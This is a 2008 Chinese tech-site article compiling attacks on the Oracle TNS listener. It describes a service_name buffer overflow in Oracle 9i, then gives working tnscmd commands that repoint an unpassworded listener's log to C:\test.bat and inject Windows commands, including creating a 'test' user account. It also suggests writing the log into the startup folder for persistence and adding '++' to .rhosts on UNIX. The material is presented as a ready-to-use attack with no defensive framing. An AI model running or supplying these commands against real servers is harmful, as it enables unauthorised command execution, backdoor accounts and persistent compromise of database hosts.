针对Oracle的TNS listener攻击方法整理
http://tech.ddvip.com 2008年08月29日 社区交流
内容摘要:首先,根据版本的不同,TNS listener可能较易受到多种类型的缓冲区溢出攻击,这些攻击可以在不提供用户ID和口令的情况下被利用。其次,另一类攻击和日志文件有关。只有当未给listener设置口令的时候,攻击才会有效。
首先,根据版本的不同,TNS listener可能较易受到多种类型的缓冲区溢出攻击,这些攻击可以在不提供用户ID和口令的情况下被利用。例如:在oracle 9i中,当客户机请求某个过长的service_name时,很容易受到溢出攻击。当listener为日志构建错误消息之后,service_name的值会被复制到某于栈结构的缓冲区内,从而引起溢出—覆盖保存值将返回栈中的地址。这种做法可以使攻击者获得控制权。事实上,TNS listener曾经有过多次溢出和格式化字符串的漏洞。
其次,另一类攻击和日志文件有关。只有当未给listener设置口令的时候,攻击才会有效。
假设某个listener没有设置口令,攻击方法如下:
将日志目录设置到C盘
tnscmd-hwww.example.com-p1521–rawcmd“(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) (COMMAND=log_directory)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:)))”
将日志文件设置为test.bat
tnscmd-hwww.example.com-p1521–rawcmd“(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=test.bat)))”
tnscmd -h www.example.com –rawcmd “(CONNECT_DATA=(( ||dir >test.txt||net user test test /add))”该命令把
dir >test.txt、net user test test /add命令写入c:test.bat文件,由于双竖线的作用(第一条命令执行失败后,WINDOWS命令解释器执行后面的命令)把错误的信息注释掉, 从而可以执行我们提交的命令。
通过设置日志文件到不同的目录,例如WINDOWS的启动目录,当服务器重启将执行恶意用户提交的特定代码,从而对系统造成威胁。
运行于UNIX系统上的oracle也会受到同样的威胁。其中一种方法就是将“++”回送给.rhost文件,当系统运行时,使用r*services命令。
来源:赛迪网 作者:fen 责编:豆豆技术应用
- Oracle 10g 教程
- Oracle 故障处理
- Oracle 存储过程
- Oracle 备份恢复
- Oracle 性能调优
- Oracle 9i 教程
- Oracle 11g 教程
- Oracle 启动
- Oracle 命令
- Oracle 数据库管理
- Oracle 时间
- Oracle 密码
- Oracle 用户
- Oracle 常见错误
- Oracle 建数据表
- Oracle 索引
- Oracle 数据库连接
- Oracle 锁
- Oracle RAC 专题
- Oracle exp/imp 命令
- Oracle 表空间
- Oracle 查询
- Oracle 函数
- Oracle PL/SQL 专题
- 更多Oracle 专题>>>